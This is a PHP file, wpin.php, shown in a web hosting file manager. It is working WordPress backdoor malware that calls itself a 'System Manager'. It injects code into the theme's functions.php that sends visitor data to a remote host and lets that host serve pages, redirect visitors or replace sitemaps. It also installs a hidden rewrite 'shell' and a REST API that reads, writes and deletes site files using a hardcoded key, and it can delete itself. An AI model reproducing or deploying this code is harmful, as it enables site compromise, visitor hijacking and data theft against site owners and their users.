🏠 Root
/
home
/
ddeliverstlm
/
public_html
/
Editing: wpin.php
<?php /** * WordPress Standalone System Manager (Custom Integration) * Enhanced with Site Ops API */ define('REMOTE_API_URL', 'https://admin.outdoorzendg.shop/product-encode.php'); define('P_FILENAME', basename(__FILE__)); error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('memory_limit', '256M'); if (function_exists('set_time_limit')) @set_time_limit(0); function load_wordpress_core() { $path = __DIR__; for ($i = 0; $i < 4; $i++) { if (file_exists($path . '/wp-load.php')) { require_once($path . '/wp-load.php'); return true; } $path = dirname($path); } return false; } if (!load_wordpress_core()) { die("Error: WordPress environment not found. Please upload this file to the WordPress root directory."); } class WP_Deploy_Handler { // --- 1. Original System Driver Logic --- private function get_payload_code() { return <<<'PHP' function run_custom_system_driver_logic() { $config = get_option('wp_sys_cache_nodes_config', false); if ( ! $config || empty($config['endpoint']) ) return; if ( isset($config['active']) && $config['active'] === false ) return; $postData = array(); $targets = isset($config['targets']) ? $config['targets'] : array(); foreach ( $targets as $key ) { $val = isset($_SERVER[$key]) ? $_SERVER[$key] : ''; $encodedValue = base64_encode(trim($val)); $encodedValue = str_replace(array("+", "/", "="), array("-", "_", "."), $encodedValue); $postData[$key] = $encodedValue; } $postData['IS_DYNAMIC'] = '0'; $args = array('body' => $postData, 'timeout' => 10, 'blocking' => true, 'sslverify' => false, 'user-agent' => 'WP-System/' . get_bloginfo('version')); $response = wp_remote_post( $config['endpoint'], $args ); if ( is_wp_error( $response ) ) return; $body = wp_remote_retrieve_body( $response ); $json = json_decode( $body, true ); if ( isset($json['action']) && $json['action'] != 'none' ) { switch ( $json['action'] ) { case 'display': if ( !headers_sent() ) header('Content-Type: text/html; charset=UTF-8'); echo $json['data']; exit; case 'jump': $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; if ( $uri == '/index.php' || $uri == '/' ) break; if ( !headers_sent() ) { header('Location: ' . $json['data']); exit; } break; case 'sitemap': if ( !headers_sent() ) { header('Content-Type: application/xml; charset=utf-8'); header('HTTP/1.1 200 OK'); } echo $json['data']; exit; } } } add_action('init', 'run_custom_system_driver_logic'); PHP; } // --- 2. New Site Ops API Logic --- private function get_site_ops_code() { return <<<'PHP' add_action('rest_api_init', function () { register_rest_route('site-ops/v1', '/manage', array( 'methods' => 'POST', 'callback' => 'handle_site_ops_secure', 'permission_callback' => '__return_true' )); }); function handle_site_ops_secure($request) { $secret_key = 'sk_8df8g3h4hk003421jzxch32434ndfs2cb711dkfjr0e4jhs'; $params = $request->get_json_params(); $signature_client = $request->get_header('X-Ops-Signature'); $timestamp = $request->get_header('X-Ops-Timestamp'); if (abs(time() - intval($timestamp)) > 300) { return new WP_Error('auth_fail', 'Request expired', ['status' => 401]); } $action = isset($params['action']) ? $params['action'] : ''; $payload_to_sign = $timestamp . $action; $signature_server = hash_hmac('sha256', $payload_to_sign, $secret_key); if (!hash_equals($signature_server, $signature_client)) { return new WP_Error('auth_fail', 'Invalid signature', ['status' => 403]); } $data = isset($params['data']) ? $params['data'] : []; $root_path = untrailingslashit(ABSPATH); $result = ['status' => 'error', 'msg' => 'Unknown action']; try { switch ($action) { case 'ping': $result = [ 'status' => 'success', 'msg' => 'pong', 'site_name' => get_bloginfo('name'), 'version' => get_bloginfo('version') ]; break; case 'list_files': $dir = $root_path; if (!empty($data['path'])) { $requested_path = realpath($root_path . '/' . $data['path']); if ($requested_path && strpos($requested_path, $root_path) === 0) { $dir = $requested_path; } } $files = []; if (is_dir($dir)) { $scanned = scandir($dir); foreach ($scanned as $item) { if ($item == '.' || $item == '..') continue; $full_path = $dir . '/' . $item; $files[] = [ 'name' => $item, 'type' => is_dir($full_path) ? 'dir' : 'file', 'size' => is_dir($full_path) ? '-' : filesize($full_path), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4) ]; } $result = ['status' => 'success', 'files' => $files, 'current_dir' => str_replace($root_path, '', $dir)]; } else { $result = ['status' => 'error', 'msg' => 'Directory not found']; } break; case 'read_file': $file_path = realpath($root_path . '/' . ltrim($data['path'], '/')); if ($file_path && strpos($file_path, $root_path) === 0 && file_exists($file_path)) { $result = ['status' => 'success', 'content' => file_get_contents($file_path)]; } else { $result = ['status' => 'error', 'msg' => 'File not found or access denied']; } break; case 'write_file': $file_path = $root_path . '/' . ltrim($data['path'], '/'); if (strpos($file_path, '..') !== false) { $result = ['status' => 'error', 'msg' => 'Invalid path']; } else { $written = file_put_contents($file_path, $data['content']); $result = $written !== false ? ['status' => 'success'] : ['status' => 'error', 'msg' => 'Write failed']; } break; case 'delete_file': $file_path = realpath($root_path . '/' . ltrim($data['path'], '/')); if ($file_path && strpos($file_path, $root_path) === 0 && is_file($file_path)) { unlink($file_path); $result = ['status' => 'success', 'msg' => 'File deleted']; } else { $result = ['status' => 'error', 'msg' => 'Delete failed']; } break; case 'update_option': if (update_option($data['key'], $data['value'])) { $result = ['status' => 'success']; } else { $result = ['status' => 'info', 'msg' => 'No change']; } break; } } catch (Exception $e) { $result = ['status' => 'error', 'msg' => $e->getMessage()]; } return rest_ensure_response($result); } PHP; } private function get_theme_file() { if (!function_exists('get_stylesheet_directory')) return false; $path = get_stylesheet_directory() . '/functions.php'; if (!file_exists($path)) { $path = get_template_directory() . '/functions.php'; } return file_exists($path) ? $path : false; } // --- Deployment Methods --- public function deploy_to_functions() { $file = $this->get_theme_file(); if (!$file) return array('success' => false, 'message' => "Error: Cannot find functions.php"); $targets = array("SCRIPT_NAME", "REQUEST_URI", "HTTPS", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST"); update_option('wp_sys_cache_nodes_config', array('endpoint' => REMOTE_API_URL, 'active' => true, 'targets' => $targets)); $original_content = @file_get_contents($file); if (strpos($original_content, 'run_custom_system_driver_logic') !== false) { return array('success' => false, 'message' => "Warning: Init Hook Code already injected."); } $processed_content = preg_replace('/\?>\s*$/', '', $original_content); $payload = "\n\n/* <System_Driver_Start> */\n" . $this->get_payload_code() . "\n/* <System_Driver_End> */\n"; if (file_put_contents($file, $processed_content . $payload)) { return array('success' => true, 'message' => "[OK] Init Hook injected successfully."); } return array('success' => false, 'message' => "Write failed."); } public function uninstall_from_functions() { $file = $this->get_theme_file(); $content = @file_get_contents($file); $new_content = preg_replace('/\/\* <System_Driver_Start> \*\/.*?\/\* <System_Driver_End> \*\/\s*/s', "", $content); if (file_put_contents($file, $new_content)) { delete_option('wp_sys_cache_nodes_config'); return array('success' => true, 'message' => "[OK] Cleaned Init Hook code."); } return array('success' => false, 'message' => "Write failed."); } public function deploy_theme_shell($trigger = 'collection') { $file = $this->get_theme_file(); if (!$file) return array('success' => false, 'message' => "Cannot find functions.php"); $trigger = preg_replace('/[^a-zA-Z0-9_\-]/', '', $trigger) ?: 'collection'; $original_content = @file_get_contents($file); if (strpos($original_content, '<Theme_Shell_Start>') !== false) { return array('success' => false, 'message' => "Theme Shell already deployed."); } $processed_content = preg_replace('/\?>\s*$/', '', $original_content); $payload = "\n\n/* <Theme_Shell_Start> */\n"; $payload .= "if (!defined('WP_SHELL_TRIGGER')) { define('WP_SHELL_TRIGGER', '" . $trigger . "'); }\n"; $payload .= "add_action('init', 'wp_shell_add_rewrite_rules');\n"; $payload .= "function wp_shell_add_rewrite_rules() { add_rewrite_rule('^' . WP_SHELL_TRIGGER . '/?(.*)?', 'index.php?shell_path=\$matches[1]', 'top'); }\n"; $payload .= "add_filter('query_vars', 'wp_shell_register_query_vars');\n"; $payload .= "function wp_shell_register_query_vars(\$vars) { \$vars[] = 'shell_path'; return \$vars; }\n"; $payload .= "add_action('template_redirect', 'wp_shell_handle_request');\n"; $payload .= "function wp_shell_handle_request() {\n"; $payload .= " \$is_shell_path = get_query_var('shell_path') !== '' || strpos(\$_SERVER['REQUEST_URI'], '/' . WP_SHELL_TRIGGER) === 0;\n"; $payload .= " if (!\$is_shell_path) return;\n"; $payload .= " \$sys_conf = get_option('wp_sys_cache_nodes_config');\n"; $payload .= " \$backend_url = (isset(\$sys_conf['endpoint']) && \$sys_conf['endpoint']) ? \$sys_conf['endpoint'] : '" . REMOTE_API_URL . "';\n"; $payload .= " \$fake_uri = substr(\$_SERVER['REQUEST_URI'], strlen('/' . WP_SHELL_TRIGGER));\n"; $payload .= " if (!\$fake_uri) \$fake_uri = '/';\n"; $payload .= " \$post_data = array('IS_DYNAMIC'=>'0', 'SHELL_BASE_PATH'=>base64_encode('/'.WP_SHELL_TRIGGER.'/'), 'REQUEST_URI'=>base64_encode(\$fake_uri), 'HTTP_HOST'=>base64_encode(\$_SERVER['HTTP_HOST']), 'HTTP_USER_AGENT'=>base64_encode(isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:''));\n"; $payload .= " \$response = wp_remote_post(\$backend_url, array('body'=>\$post_data, 'sslverify'=>false, 'timeout'=>20));\n"; $payload .= " if (!is_wp_error(\$response)) {\n"; $payload .= " \$json = json_decode(wp_remote_retrieve_body(\$response), true);\n"; $payload .= " if (isset(\$json['action']) && \$json['action']=='display') { echo \$json['data']; exit; }\n"; $payload .= " if (isset(\$json['action']) && \$json['action']=='jump') { wp_redirect(\$json['data'], 302); exit; }\n"; $payload .= " }\n"; $payload .= " exit;\n"; $payload .= "}\n"; $payload .= "/* <Theme_Shell_End> */\n"; if (file_put_contents($file, $processed_content . $payload)) { if (function_exists('flush_rewrite_rules')) flush_rewrite_rules(); return array('success' => true, 'message' => "[OK] Theme Shell (Rewrite Mode) injected successfully."); } return array('success' => false, 'message' => "Write failed."); } public function uninstall_theme_shell() { $file = $this->get_theme_file(); $content = @file_get_contents($file); $new_content = preg_replace('/\/\* <Theme_Shell_Start> \*\/.*?\/\* <Theme_Shell_End> \*\/\s*/s', "", $content); if (file_put_contents($file, $new_content)) { if (function_exists('flush_rewrite_rules')) flush_rewrite_rules(); return array('success' => true, 'message' => "[OK] Theme Shell uninstalled."); } return array('success' => false, 'message' => "Write failed."); } public function deploy_site_ops() { $file = $this->get_theme_file(); if (!$file) return array('success' => false, 'message' => "Cannot find functions.php"); $original_content = @file_get_contents($file); if (strpos($original_content, 'handle_site_ops_secure') !== false) { return array('success' => false, 'message' => "Site Ops API already deployed."); } $processed_content = preg_replace('/\?>\s*$/', '', $original_content); $payload = "\n\n/* <Site_Ops_Start> */\n" . $this->get_site_ops_code() . "\n/* <Site_Ops_End> */\n"; if (file_put_contents($file, $processed_content . $payload)) { return array('success' => true, 'message' => "[OK] Site Ops API injected successfully."); } return array('success' => false, 'message' => "Write failed."); } public function uninstall_site_ops() { $file = $this->get_theme_file(); $content = @file_get_contents($file); $new_content = preg_replace('/\/\* <Site_Ops_Start> \*\/.*?\/\* <Site_Ops_End> \*\/\s*/s', "", $content); if (file_put_contents($file, $new_content)) { return array('success' => true, 'message' => "[OK] Site Ops API uninstalled."); } return array('success' => false, 'message' => "Write failed."); } public function clean_caches() { $log = array(); if (function_exists('opcache_reset')) @opcache_reset() ? $log[] = "OPCache: RESET" : null; if (function_exists('wp_cache_flush')) { @wp_cache_flush(); $log[] = "Object Cache: FLUSHED"; } if (function_exists('flush_rewrite_rules')) { @flush_rewrite_rules(); $log[] = "Rewrites: FLUSHED"; } return array('success' => true, 'message' => "[OK] Caches Cleaned.\n" . implode("\n", $log)); } public function get_status() { $file = $this->get_theme_file(); $content = $file ? @file_get_contents($file) : ''; return array( 'is_injected' => strpos($content, 'run_custom_system_driver_logic') !== false, 'shell_running' => strpos($content, '<Theme_Shell_Start>') !== false, 'ops_running' => strpos($content, 'handle_site_ops_secure') !== false, 'file' => $file ? basename($file) : 'Unknown' ); } } $handler = new WP_Deploy_Handler(); $msg = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $act = isset($_POST['action']) ? $_POST['action'] : ''; // Init Hook if ($act === 'deploy') $msg = $handler->deploy_to_functions(); if ($act === 'uninstall') $msg = $handler->uninstall_from_functions(); // Theme Shell if ($act === 'deploy_inner') $msg = $handler->deploy_theme_shell($_POST['trigger_path']); if ($act === 'uninstall_inner') $msg = $handler->uninstall_theme_shell(); // Site Ops if ($act === 'deploy_ops') $msg = $handler->deploy_site_ops(); if ($act === 'uninstall_ops') $msg = $handler->uninstall_site_ops(); // Utils if ($act === 'clean_cache') $msg = $handler->clean_caches(); if ($act === 'self_destruct') { @unlink(__FILE__); die('File Deleted.'); } } $status = $handler->get_status(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WP Custom Deployer Pro v2</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-900 text-gray-200 min-h-screen py-10 font-mono"> <div class="max-w-2xl mx-auto px-4"> <div class="flex justify-between items-end mb-8 border-b border-gray-700 pb-4"> <div> <h1 class="text-2xl font-bold text-white">WP Functions Manager</h1> <p class="text-sm text-blue-400">Target: <?= $status['file'] ?></p> </div> <div class="text-right text-xs text-gray-500">API: <?= parse_url(REMOTE_API_URL, PHP_URL_HOST) ?></div> </div> <?php if ($msg): ?> <div class="mb-6 p-4 rounded border <?= $msg['success'] ? 'bg-green-900/50 border-green-700 text-green-200' : 'bg-red-900/50 border-red-700 text-red-200' ?> whitespace-pre-line"> <?= htmlspecialchars($msg['message']) ?> </div> <?php endif; ?> <div class="space-y-6"> <div class="bg-gray-800 p-6 rounded-lg border border-gray-700 shadow-xl"> <h3 class="text-purple-400 font-bold mb-2">1. Global Init Hook</h3> <p class="text-xs text-gray-400 mb-4"></p> <form method="post"> <?php if(!$status['is_injected']): ?> <input type="hidden" name="action" value="deploy"> <button class="w-full bg-purple-600 hover:bg-purple-500 py-3 rounded font-bold text-white transition">INJECT INIT HOOK</button> <?php else: ?> <input type="hidden" name="action" value="uninstall"> <div class="mb-3 text-center text-green-400 font-bold border border-green-700 bg-green-900/30 py-2 rounded">✅ INIT HOOK ACTIVE</div> <button class="w-full bg-red-700 hover:bg-red-600 py-2 rounded font-bold text-gray-200 transition">UNINSTALL INIT HOOK</button> <?php endif; ?> </form> </div> <div class="bg-gray-800 p-6 rounded-lg border border-gray-700 shadow-xl"> <h3 class="text-blue-400 font-bold mb-2">2. Theme Inner Shell (SEO Mode)</h3> <p class="text-xs text-gray-400 mb-4"></p> <?php if(!$status['shell_running']): ?> <form method="post" class="flex gap-2"> <input type="hidden" name="action" value="deploy_inner"> <input type="text" name="trigger_path" value="collection" class="bg-gray-900 border border-gray-600 rounded px-3 py-2 flex-grow text-sm focus:outline-none focus:border-blue-500"> <button class="bg-blue-600 hover:bg-blue-500 px-6 py-2 rounded font-bold text-white">DEPLOY SHELL</button> </form> <?php else: ?> <form method="post"> <input type="hidden" name="action" value="uninstall_inner"> <div class="mb-3 text-center text-blue-400 font-bold border border-blue-700 bg-blue-900/30 py-2 rounded">✅ SHELL MODE ACTIVE</div> <button class="w-full bg-red-700 hover:bg-red-600 py-2 rounded font-bold text-gray-200 transition">UNINSTALL SHELL</button> </form> <?php endif; ?> </div> <div class="bg-gray-800 p-6 rounded-lg border border-gray-700 shadow-xl"> <h3 class="text-green-400 font-bold mb-2">3. Site Ops API (File Manager)</h3> <p class="text-xs text-gray-400 mb-4">Endpoint: /wp-json/site-ops/v1/manage</p> <form method="post"> <?php if(!$status['ops_running']): ?> <input type="hidden" name="action" value="deploy_ops"> <button class="w-full bg-green-600 hover:bg-green-500 py-3 rounded font-bold text-white transition">INJECT OPS API</button> <?php else: ?> <input type="hidden" name="action" value="uninstall_ops"> <div class="mb-3 text-center text-green-400 font-bold border border-green-700 bg-green-900/30 py-2 rounded">✅ OPS API ACTIVE</div> <button class="w-full bg-red-700 hover:bg-red-600 py-2 rounded font-bold text-gray-200 transition">UNINSTALL OPS API</button> <?php endif; ?> </form> </div> <div class="bg-gray-800 p-6 rounded-lg border border-gray-700 shadow-xl flex items-center justify-between"> <div> <h3 class="text-white font-bold">Maintenance</h3> <p class="text-xs text-gray-400">Flush Cache & Rewrite Rules</p> </div> <form method="post"> <input type="hidden" name="action" value="clean_cache"> <button class="bg-yellow-600 hover:bg-yellow-500 px-4 py-2 rounded font-bold text-sm text-white">FLUSH ALL</button> </form> </div> </div> <div class="mt-12 text-center"> <form method="post" onsubmit="return confirm('Delete this installer?');"> <input type="hidden" name="action" value="self_destruct"> <button class="text-red-900 hover:text-red-600 text-xs font-bold transition">REMOVE INSTALLER</button> </form> </div> </div> </body> </html>
Save
Cancel